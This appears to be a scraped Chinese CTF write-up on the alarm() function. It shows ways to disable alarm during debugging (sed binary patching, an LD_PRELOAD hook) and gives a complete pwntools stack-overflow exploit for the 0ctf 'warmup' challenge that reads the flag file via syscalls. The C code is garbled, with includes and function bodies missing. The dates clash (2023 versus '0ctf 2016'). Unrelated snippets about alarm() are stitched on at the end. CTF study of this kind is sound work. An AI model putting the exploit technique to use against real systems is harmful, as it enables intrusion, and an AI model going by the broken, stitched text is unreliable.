alarm()在解題中的妙用
總結
如上圖所示,在做一些pwn題的時候,我們有時會遇到alarm(0xau)
函式。alarm函式中的引數0xau
是十六進製制無符號數,即十進位制對應10,所以該函式的作用是在程式執行10秒後,給程序傳送sigalrm訊號,如果不另編寫程式接受處理此訊號,則預設結束此程式。所以執行此樣本10秒後的截圖如下所示,程式結束時提示alarm clock:
知道什麼是alarm(),那麼為啥要設定此函式?當然一方面原因是因為比賽時遠端連線伺服器做題,官方也不希望隊伍長時間解不出題但卻占用了伺服器資源,所以會設定alarm()函式。二來此函式設定後會對我們進行程式動態除錯產生一點影響,不過問題不大,下面就講如何關閉alarm()函式。
關閉alarm函式最簡單的思路就是替換掉程式中的alarm()函式,我們可以直接在可執行程式文字中進行替換,替換的原則是函式名字節長度要一樣,且替換後不影響程式功能。我們一般使用isnan()函式進行替換,該函式檢查傳入的引數是不是非數值(not a number),程式名字長度相同且替換後不影響程式功能。
下面介紹具體操作,第一種方法是在命令列直接替換可執行程式文字中的alarm(),如下面**所示:
# 將程式名為programmname中的alarm替換為isnan
>
sed -i s/alarm/isnan/g ./programmname
vim ./programmname
開啟後直接輸入/alarm進行搜尋,如下圖所示:
找到後回車,按下i進行編輯,更改為isnan:
這裡介紹第三種方法:使用hook,其原理是讓程式執行時先載入自己編寫和編譯的偽鏈結庫,這樣程式中的函式將會被動態鏈結為我們自己定義的函式。下面講解詳細的操作過程,注意這種方法只對動態鏈結的程式才有效。
按照下面的**準備幾個檔案:test.c 、hook.c,如何編譯對應檔案已經寫在了注釋裡面。
// test.c
// gcc test.c -o test -m32
#include
#include
intmain
(void
)
// hook.c
// gcc hook.c -o hook.so -shared -fpic -m32
#include
unsigned
intalarm
(unsigned
int seconds)
編譯好後,使用file命令檢視二進位制檔案資訊,可以發現都為32位程式,動態鏈結。想測試64位的話,去掉編譯選項-m32就行,這裡不再贅述。
接下來按照下面給出的命令在終端執行操作,hook結果如下圖所示。我們在hook.c檔案中將alarm函式的具體功能更改為printf輸出,然後hook測試程式,可以看到測試程式的alarm功能已經發生了改變,列印出了傳遞進去的引數。
# hook方法
# ld_preload指明載入的鏈結庫,然後再執行程式
接下來介紹2023年0ctf中的一道pwn題,遠端環境可以在buuctf上找到,該題目需要利用alarm函式的特性,然後實現系統呼叫獲取flag。
首先分析一下題目,該題目本身是32位的,只開啟了nx保護,**短小,根據邏輯恢復函式名後如下截圖所示,在start函式裡先呼叫了alarm函式,然後呼叫了write列印資訊,之後進入到func函式裡面。
如下圖所示,func函式裡面存在明顯的棧溢位漏洞。
這道題**片段十分少,不存在got表,也就無法洩露libc,然後檢視彙編**,可以發現所有函式都是採用系統呼叫的方式實現的,因此我們也可以考慮用系統呼叫的方式獲取shell或者直接拿到flag。想要實現系統呼叫,主要目的是控制eax暫存器的值,這裡的技巧是利用alarm函式再次呼叫會返回前一次alarm設定的剩餘時間,以此來控制eax暫存器。舉例如下:
#include
#include
intmain()
下面是該pwn題的完整exp,主要思路是利用alarm來實現open系統呼叫,讀取flag檔案,然後再呼叫read讀取內容到指定記憶體區域,最後通過write列印出來。那麼為啥不直接利用alarm實現execve的系統呼叫呢?其實也可以嘗試,這裡可以控制eax的值為execve的系統呼叫號,但是由於溢位長度限制等原因,剩下的三個引數就不太好控制。
from pwn import
*p = process(
"./warmup"
)# p = remote("node3.buuoj.cn", 29192)
# context.log_level = "debug"
alarm =
0x0804810d
read =
0x0804811d
addr =
0x080491bc
func =
0x0804815a
mov_int_0x80 =
0x08048122
write =
0x08048135
# write "flag"
p.recvuntil(
"welcome to 0ctf 2016!"
)pad = cyclic(
0x20
)+p32(read)
+p32(func)
pad += p32(0)
+p32(addr)
+p32(
0x8)
p.send(pad)
p.send(
"flag\x00\x00\x00\x00"
)# open flag file
p.recvuntil(
"good luck!"
)sleep(5)
pad = cyclic(
0x20
)+p32(alarm)
+p32(mov_int_0x80)
pad += p32(func)
+p32(addr)
+p32(0)
p.send(pad)
# read flag content
p.recvuntil(
"good luck!"
)pad = cyclic(
0x20
)+p32(read)
+p32(func)
pad += p32(3)
+p32(addr)
+p32(
0x50
)p.send(pad)
# write flag content
p.recvuntil(
"good luck!"
)pad = cyclic(
0x20
)+p32(write)
+p32(func)
pad += p32(1)
+p32(addr)
+p32(
0x50
)p.send(pad)
p.interactive(
)
不忘初心,砥礪前行! linux C之alarm函式 更改
alarm也稱為鬧鐘函式,alarm 用來設定訊號sigalrm在經過引數seconds指定的秒數後傳送給目前的程序。如果引數seconds為0,則之前設定的鬧鐘會被取消,並將剩下的時間返回。要注意的是,乙個程序只能有乙個鬧鐘時間,如果在呼叫alarm之前已設定過鬧鐘時間,則任何以前的鬧鐘時間都被新...
linux C之alarm函式 更改
alarm也稱為鬧鐘函式,alarm 用來設定訊號sigalrm在經過引數seconds指定的秒數後傳送給目前的程序。如果引數seconds為0,則之前設定的鬧鐘會被取消,並將剩下的時間返回。要注意的是,乙個程序只能有乙個鬧鐘時間,如果在呼叫alarm之前已設定過鬧鐘時間,則任何以前的鬧鐘時間都被新...
訊號之alarm和pause函式
使用alarm函式可以設定乙個計時器,在將來某個指定的時間,該計時器會超時。當計時器超時時,產生sigalrm訊號。如果不忽略或不捕捉此訊號,則其預設動作是終止呼叫該alarm函式的程序。include unsigned int alarm unsigned int seconds 返回值 0或以前...